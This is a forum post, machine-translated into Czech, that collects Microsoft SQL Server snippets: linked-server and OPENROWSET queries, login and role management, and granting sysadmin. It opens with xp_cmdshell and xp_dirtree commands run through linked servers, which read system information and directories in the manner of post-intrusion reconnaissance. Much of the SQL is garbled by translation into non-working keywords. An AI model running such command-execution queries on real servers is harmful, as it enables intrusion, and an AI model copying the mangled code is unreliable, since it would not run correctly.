Exec Links.Master.. xp_cmdshell 'ipconfig'


Select * from openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList


VÝKONNÝ MISTŘE.. XP_dirtree 'c:\',1,1




Výkonný výbor

master.dbo.xp_cmdshell 'dir'


Vyberte count(*) z [indicate]
Dotaz, kolik dat je v aktuální tabulce




Vyberte odlišné hostitelské jméno,db_name(dbid),net_address,loginame,program_name

od mistra.. Sysprocesses






Vyberte * z gamedb01. Server01.dbo.cabal_character_table kde jméno='

Prase





Když ji smažete, píše to: Databáze je používána a nelze ji smazat.


Klikněte na databázi, kterou chcete smazat, abyste otevřeli Prohlížeč událostí.


Vstup:


Použití   

Mistr
Jdi
Poté zadejte následující:
Declare @d Varchar(8000)
Set @d= ' '
vybrat @d=@d+ ' zabít   

'+sesílání(Spid jako Varchar)+Char(13)
od mistra.. sysprocesses, kde dbid=db_id('název knihovny')
exec(@d)
--
Použijte kód k odstranění procesu, který se připojuje k této databázi jako první












MSSQL provozuje Oracle prostřednictvím LinkServeru






1) Instalace Oracle na server SQL_SERVER 2005

Klient 9i. Předpokládejme, že instalujete do adresáře C:\ora92i\. Pokud je D: NTFS oddíl, musíte nastavit ORACLE nainstalovaný adresář jako ten, který se používá

Odběratelé mají právo spouštět, přidávat a mazat.


2)
Konfigurujte soubor C:\ora92i\network\ADMIN\tnsnames.ora. (Následující červený text je příkladem konfigurace)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESA = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Spusť následující příkaz v režimu DOS, abys potvrdil, že je klient ORACLE správně nainstalován.


Uživatel/password@ORCL SQLplus


4)
Otevřete Start - Ovládací panel - Služby a potvrďte, že služba Distributed Transaction Coordinator byla spuštěna.



5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (pravé kliknutí) - New Connection Server.


1.      


Link server: Napište název propojeného serveru, například OracleTest


2.         
Typ serveru, vyberte jiný zdroj dat


3. Přístupové rozhraní:
Select Oracle Provider for OLE DB


4. Název produktu: Write Oracle


5. Zdroj dat: Zápis

Název služby je konfigurován v souboru tnsnames.ora, například ORCL


6.         
Řetězec přístupového rozhraní: userid=sys jako sysdba; password=password


7.         
Na stránce Výběr bezpečnostních možností použijte tento instalační kontext k navázání spojení:


a) Vzdálené přihlášení: uživatel (jiný uživatel, ne sys)


b)      

    Používejte heslo: heslo


8. Nastavte "NT AUTHORITY\SYSTEM" na lokální přihlášení, systém vzdáleného uživatele a heslo


9.

         Opravdu


6) Existují dva způsoby, jak psát SQL


a) Použití syntaxe T-SQL:


           VYBRAT * Z

OraTest.ERP.BAS_ITEM_CLASS


           Všimněte si, že při zadávání SQL příkazů v SQL Query Analyzeru věnujte pozornost čínskému přepínání plné a poloviční šířky

Cesta!


b) Použití syntaxe PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Druhá metoda přístupu je asi o 50 % rychlejší než první; Druhá metoda přístupu je přímo propojená

ORACLE je srovnatelný; První metoda přístupu může vést k nečekaným chybám, například:
           Tabulka neexistuje, ani současný uživatel

Není přístup ke stolu a tak dále.


           d) Pokud sloupec, ke kterému je třeba přistupovat, používá datové typy bez přesnosti, obojí

Jedná se o chybu v ORACLE, kterou nelze opravit a lze jí předejít pouze speciálním zpracováním dotazových příkazů:


     Metadata poskytovaná poskytovatelem OLE DB 'OraOLEDB.Oracle' pro sloupce jsou nekonzistentní. Metadata se při vykonání změní.










MSSQL přidáno

Smažte uživatele a udělte oprávnění


Použijte název své knihovny   
Jdi   
--Přidat uživatele   
Exec sp_addlogin 'test' – přidat přihlášení   
exec

sp_grantdbaccess N'test' – což z něj činí legitimního uživatele aktuální databáze   
exec sp_addrolemember N'db_owner',

N'test' – uděluje všechna oprávnění k vlastní databázi   
--To vytváří uživatele, kteří mají přístup pouze ke své vlastní databázi a k tomu, co je v databázi obsaženo

Veřejná tabulka pro hostující uživatele   
Jdi   
--Odstranit testovacího uživatele   
exec sp_revokedbaccess N'test' -- Odebrat přístup k databázi

Limit   
exec sp_droplogin N'test' -- smazat přihlášení   
Pokud ho vytvoříte v Enterprise Manageru, použijte:   
Enterprise Manager - Bezpečnost

Sex --Přihlášení pravým tlačítkem--Nové přihlášení   
Obecné položky   
--Zadejte uživatelské jméno do názvu   

--Způsob ověřování je vybírán podle vašich potřeb (pokud používáte Windows autentizaci, musíte nejprve vytvořit nového uživatele mezi uživateli operačního systému)   

--Ve výchozím nastavení vyberte název databáze, ke kterému chcete pro nového uživatele přistupovat   
Položka role serveru   
Nevybírej si v tom nic   
databáze

Přístupová položka   
Zkontrolujte název databáze, ke které chcete přistupovat, u uživatele, kterého vytvoříte   
Povolte v databázové roli, zaškrtněte "veřejné", "db_ownew".   
Jasně, tohle

Uživatel vytvořený vzorkem je stejný jako uživatel vytvořený výše uvedeným tvrzením   



Posledním krokem je nastavení specifických přístupových oprávnění pro konkrétní uživatele, což lze odkázat na následující minimální příklad:   

--Přidat uživatele, kteří mají přístup pouze k dané tabulce:   
execionistické sp_addlogin 'uživatelské jméno', 'heslo', 'výchozí název databáze'   

--přidat do databáze   
Exec sp_grantdbaccess 'uživatelské jméno'   

--Přiřadit oprávnění celé tabulce   
POVOLIT SELECT , VLOŽIT , AKTUALIZOVAT , SMAZAT NA TABULI1 DO [uživatelské jméno]   
--Přiřaďte oprávnění ke konkrétním sloupcům   
POVOLIT VÝBĚR , AKTUALIZOVAT NA table1(id,AA) NA [uživatelské jméno]   


Pro specifická bezpečnostní nastavení a teoretické znalosti se prosím podívejte na SQL Online Help  







Popis role v pevné databázi   
  db_owner Mít plná oprávnění v databázi.   

db_accessadmin Můžete přidávat nebo odebírat uživatelská ID.   

db_securityadmin Může spravovat plná oprávnění, vlastnictví objektů, role a členství v rolích.   

db_ddladmin může vydat VŠECHNA DDL, ale ne GRANT, REVOKE nebo DENY.   

db_backupoperator může vydávat příkazy DBCC, CHECKPOINT a BACKUP.   

db_datareader Můžete vybrat všechna data z jakékoli uživatelské tabulky v databázi.   

db_datawriter Můžete změnit všechna data v jakékoli uživatelské tabulce v databázi.   

db_denydatareader Nemůžete vybrat žádná data z žádné uživatelské tabulky v databázi.   

db_denydatawriter V žádné uživatelské tabulce v databázi nelze měnit žádná data.  





Měl bys si vybrat db_datareader, db_datawriter db_accessadmin




5.
Po spuštění instance SQL Server v režimu jednoho uživatele může administrátorský účet Windows použít nástroj sqlcmd k připojení v režimu autentizace Windows

SQL Server。 Můžete použít příkazy T-SQL jako "sp_addsrvrolemember" k přidání existujícího přihlášení do role správce systému

Nebo si vytvořte nový přihlašovací účet.
Příklad tvrzení je následující:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


JDI


Přidejte oprávnění správce systému








(1) Správa rolí serveru


V SQL Serveru existují dvě hlavní uložené procedury, které implementují správu rolí SQL Serveru:


sp_addsrvrolemember

a sp_dropsrvrolemember


sp_addsrvrolemember
Můžete přidat přihlašovací účet k roli serveru, aby se stal členem této role. Syntaxe je následující:
sp_addsrvrolemember

Přihlásit se, role


sp_dropsrvrolemember
Můžete smazat přihlašovací účet ze serverové role, a když je člen odebrán ze serverové role, už tuto roli serveru nemá

Nastavení oprávnění. Syntaxe je následující:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


do toho

@loginname je jméno přihlášeného uživatele; @rolename je role servera.




(2) Správa databázových rolí


V SQL Serveru je podpora správy databází

Existuje šest hlavních typů uložených procedur a jejich konkrétní významy a syntaxe jsou následující:


sp_addrole: Použito k vytvoření nové databázové role;
sp_addrole

role, majitel


sp_droprole: Používá se k odstranění databázové role z aktuální databázové role;
sp_droprole role


sp_helprole:

Používá se k zobrazení všech informací o všech databázových rolích v aktuální databázi;
sp_helprole ['role']


sp_addrolemember: Používá se k odeslání do databáze

Přidejte uživatele databáze do role, která může být uživatelem definovaná standardní role nebo pevné databázové role, ale nelze

Aplikační pozice.
sp_addrolemember role, security_account


sp_droprolemember: Používá se k mazání určité postavy

domácnost;
sp_droprolemember role, security_account


sp_helprolemember: Používá se k zobrazení všech členů databázové role


sp_helprolemember ['role']






Dotaz MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Datum : 2010-06-25 22:23:18
-- Verze: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. července 2008 14:43:34
-- Copyright (c) 1988-2008 Microsoft Corporation
--

Vývojářská edice na Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Předmět:
SQL datové operace mezi různými serverovými databázemi
----------------------------------------------------------------------------------
--1.
Vytvořte link server
--1.1 Vytvořit název odkazu
EXEC sp_addlinkedserver 'LinkName','', 'SQLOLEDB',' vzdálený název serveru

nebo IP adresu' --
Pokud máte vlastní název instance, přidejte "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Vytvořte si přihlášení (nebo vytvořte mapu přihlášení na link server) (stačí zvolit jeden způsob)
--1.2.1
Přihlášení pomocí Windows autentizace
EXEC sp_addlinkedsrvlogin 'LinkName'
--nebo EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Přihlaste se pomocí SQL autentizace
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
Datové operace související s linkovým serverem
--2.1 Příklad dotazu
VYBRAT * Z LinkName.database name.schemea name.table name
/*例如:SELECT *

Z TonyLink.Mydb.dbo.tb */
--
2.2 Příklad importu
VYBERTE * DO názvu tabulky Z LinkName.database name.schemea name.table name
/*例如:SELECT * INTO Newtb

Z TonyLink.Mydb.dbo.tb */
--
2.3 Příklad aktualizace
AKTUALIZACE LinkName.Database Name.Schema Name.Table Name SET pole='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 Smazat příklady
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb KDE Persons='g' */
--3 pomocí funkce rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metoda
-
3.1 Metoda OPENQUERY (vyžaduje pomoc linkového serveru, který jste právě vytvořili):
--
3.1.1 Příklad dotazu
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky')
/*
Například: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Příklady importu
--3.1.2.1 Importovat všechny sloupce
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. Název tabulky

') VYBRAT * Z lokální tabulky
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

Z tb */
--3.1.2.2
Importovat zadané sloupce
INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') (sloupec, sloupec...)
SELECT,

Sloupek... Z lokální tabulky
/*
Například: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
VYBRAT

ROZSAH, ÚROVEŇ, osoby OD TB
*/
--3.1.3
Příklady aktualizací
UPDATE OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') pole SET = 'hodnota' WHERE slovo

Segment = 'Stav'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
Smazat příklady
DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') KDE název pole = 'podmínka'
/*例

Například: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KDE Persons='g' */
--3.2
Metoda OPENROWSET (není nutné používat název vytvořeného odkazu.) Pokud název připojené instance není výchozí, musíte ho nastavit na název nebo IP adresu SQL serveru.

"\instance name")
--3.2.1 Příklad dotazu
--3.2.1.1
Dotaz na způsob ověřování Windows (jedna z následujících metod je dostačující)
SELECT * FROM OPENROWSET('SQLOLEDB', 'server=SQL Server Name nebo

IP adresa; Trusted_Connection=ano', název databáze. Název architektury. Název tabulky)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=název SQL serveru nebo IP adresa; Trusted_Connection=ano', název databáze. Název architektury. Název tabulky)
VYBRAT * Z

OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; Trusted_Connection=ano','VYBRAT * Z databáze

Jméno. Název architektury. název tabulky')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa

Adresa; Trusted_Connection=ano','VYBRAT * Z názvu databáze. Název architektury. název tabulky')
/*
Například: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Nebo: VYBERTE * Z OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Nebo: VYBERTE * Z OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ano','VYBRAT *

Z Mydb.dbo.tb')

Nebo: VYBERTE * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ano','VYBRAT *

Z Mydb.dbo.tb')
*/
--3.2.1.2 SQL autentizační metoda dotazování (Jedna z následujících metod je dostačující)
VYBRAT * Z OPENROWSET

('SQLOLEDB', 'server=název nebo IP adresa sql serveru; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky)
VYBRAT * Z

OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky)
VYBERTE * Z OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password','SELECT *

FROM název databáze. Název architektury. název tabulky')
SELECT * FROM OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=

Uživatelské jméno; pwd=password','SELECT * FROM názvu databáze. Název architektury. název tabulky')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

název serveru'; 'uživatelské jméno'; 'heslo', název databáze. Název architektury. Název tabulky)
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME

'; 'uživatelské jméno'; 'heslo', název databáze. Název architektury. Název tabulky)
VYBERTE * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' uživatel

jméno'; 'Heslo', 'VYBRAT * Z názvu databáze. Název architektury. název tabulky')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql server

jméno'; 'uživatelské jméno'; 'Heslo', 'VYBRAT * Z názvu databáze. Název architektury. název tabulky')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Nebo: VYBERTE * Z OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Nebo: VYBERTE * Z OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

nebo: VYBERTE * Z OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VYBRAT * Z

Mydb.dbo.tb')

nebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

nebo: VYBERTE * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

nebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')

nebo: VYBERTE * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')
*/
--3.2.2 Import příklad
--3.2.2.1 Importovat všechny sloupce
INSERT OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa

Adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky)
VYBRAT * Z lokální tabulky
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VYBRAT * Z TB
*/
--3.2.2.2 Import

Specifikovat sloupce
INSERT OPENROWSET('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Rack

Název konstrukce. název tabulky) (sloupec, sloupec...)
SELECT sloupec, sloupec... Z lokální tabulky
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ROZSAH,ÚROVEŇ,Osoby)
VYBRAT

ROZSAH, ÚROVEŇ, osoby OD TB
*/
--Poznámka: Pro více alternativních metod viz příklad dotazu .2.1, stačí nahradit funkci OPENROWSET

Obsah je dostačující.
--3.2.3 Příklad aktualizace
AKTUALIZOVAT OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno

;p wd=password', název databáze. Název architektury. Název tabulky)
Pole SET = 'hodnota'
Kde pole = 'podmínka'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
KDE Persons='a'
*/
--Poznámka: Pro alternativnější metody se podívejte na příklad dotazu .2.1, stačí nahradit obsah v OPENROWSET.
--3.2.4 Smazat indikaci

Příklad
DELETE OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název schématu

.table name)
KDE název pole = 'podmínka'
/*
Například: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
KDE

Persons='g'
*/
--Poznámka:
Pro alternativnější metody viz příklad dotazu .2.1, stačí nahradit obsah v OPENROWSET.
--3.3 Metoda OPENDATASOURCE

(Nemusíte používat název vytvořeného odkazu.) Pokud název instance spojení není výchozí, musíte přidat \instance name za SQL Server nebo IP adresu

")
--3.3.1
Příklad dotazu
--3.3.1.1 Dotaz na Windows Authentication Method (Jedna z následujících metod je dostačující)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=název SQL serveru nebo IP adresa; Trusted_Connection=ano'). Název databáze. Název architektury. Název tabulky
VYBRAT * Z

OPENDATASOURCE('SQLNCLI', 'server=název sql serveru nebo IP adresa; Trusted_Connection=ano'). Název databáze. Název architektury.

Název tabulky
/*
Například: VYBERTE * Z OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ano"). Mydb.dbo.tb

Nebo: VYBERTE * Z OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ano"). Mydb.dbo.tb
*/
--3.3.1.2
Dotaz na SQL autentizační metodu (jedna z následujících metod je dostačující)
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=název sql serveru nebo

IP adresa; uid=uživatelské jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
VYBERTE * Z OPENDATASOURCE ('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=uživatel

Jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=název sql serveru nebo IP adresa

Adresa; uid=uživatelské jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
VYBERTE * Z OPENDATASOURCE('SQLNCLI', 'Data Source=název sql serveru nebo IP adresa

Adresa; uid=uživatelské jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Nebo: VYBERTE * Z OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Nebo: VYBERTE * Z OPENDATASOURCE ('SQLOLEDB','Data

Zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Nebo: VYBERTE * Z OPENDATASOURCE ('SQLNCLI','Data

source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importovat všechny sloupce
INSERT OPENDATASOURCE('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').

Podle názvu knihovny. Název architektury. Název tabulky
VYBRAT * Z lokální tabulky
/*
Například: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
VYBRAT

* Z tuberkulózy
*/
--3.3.2.2
Importovat zadané sloupce
INSERT OPENDATASOURCE('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').

Podle názvu knihovny. Název architektury. Název tabulky (sloupec, sloupec...)
SELECT sloupec, sloupec... Z lokální tabulky
/*
Například: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(VZDÁLENOST, ÚROVEŇ, Osoby)
VYBERTE ROZSAH, ÚROVEŇ,Osoby Z TB
*/
--Poznámka:
Pro alternativnější metody viz příklad dotazu .3.1, stačí nahradit obsah ve funkci řádkové sady (OPENDATASOURCE).
--3.3.3 Příklad aktualizace
AKTUALIZOVAT OPENDATASOURCE ('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
Pole SET = 'hodnota'
Kde pole = 'podmínka'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
KDE Persons='a'
*/
--Poznámka:
Pro alternativnější metody viz příklad dotazu .3.1, stačí nahradit obsah ve funkci řádkové sady (OPENDATASOURCE).
--3.3.4 Příklad Delete
DELETE OPENDATASOURCE('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').
Název databáze. Název architektury. Název tabulky
KDE název pole = 'podmínka'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
KDE Persons='g'
*/
- Poznámka: Další alternativy

Podívejte se na příklad dotazu .3.1, stačí nahradit obsah ve funkci řádků (OPENDATASOURCE).
--
Smazat metodu propojeného serveru
--Pokud už v budoucnu informace o odkazu nebudete používat, můžete je smazat
--4.1
Smazat přihlašovací údaje (nebo smazat mapu přihlašovacích jmen propojeného serveru)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Například: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Smažte propojený název serveru
EXEC sp_dropserver 'LinkName', 'droplogins' – pokud jsou uvedeny droplogins,
Mapa přihlášení musí být smazána před smazáním propojeného serveru
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Připojeno


Jak získat název poskytovatele (EXEEC master). xp_enum_oledb_providers)
SELECT CAST([Název poskytovatele] JAKO

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
Z

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ano',
'SPUSTI FMTonly;
EXEC

Mistře.. xp_enum_oledb_providers'
)




Předchozí:Podrobnosti o procesu řešení zranitelností a odměnách v UCloud
Další:Dnes stihnu vlak domů a nebyl jsem doma víc než půl roku
Zveřejněno 27.09.2017 17:43:11 |
Velmi podrobné, děkuji.
 Pronajímatel| Zveřejněno 17.06.2023 11:12:11 |
Testujte testování injekcí SQL pomocí nástroje SQLMAP pro infiltraci
https://www.itsvse.com/thread-10611-1-1.html
Zřeknutí se:
Veškerý software, programovací materiály nebo články publikované organizací Code Farmer Network slouží pouze k učení a výzkumu; Výše uvedený obsah nesmí být používán pro komerční ani nelegální účely, jinak nesou všechny důsledky uživatelé. Informace na tomto webu pocházejí z internetu a spory o autorská práva s tímto webem nesouvisí. Musíte výše uvedený obsah ze svého počítače zcela smazat do 24 hodin od stažení. Pokud se vám program líbí, podporujte prosím originální software, kupte si registraci a získejte lepší skutečné služby. Pokud dojde k jakémukoli porušení, kontaktujte nás prosím e-mailem.

Mail To:help@itsvse.com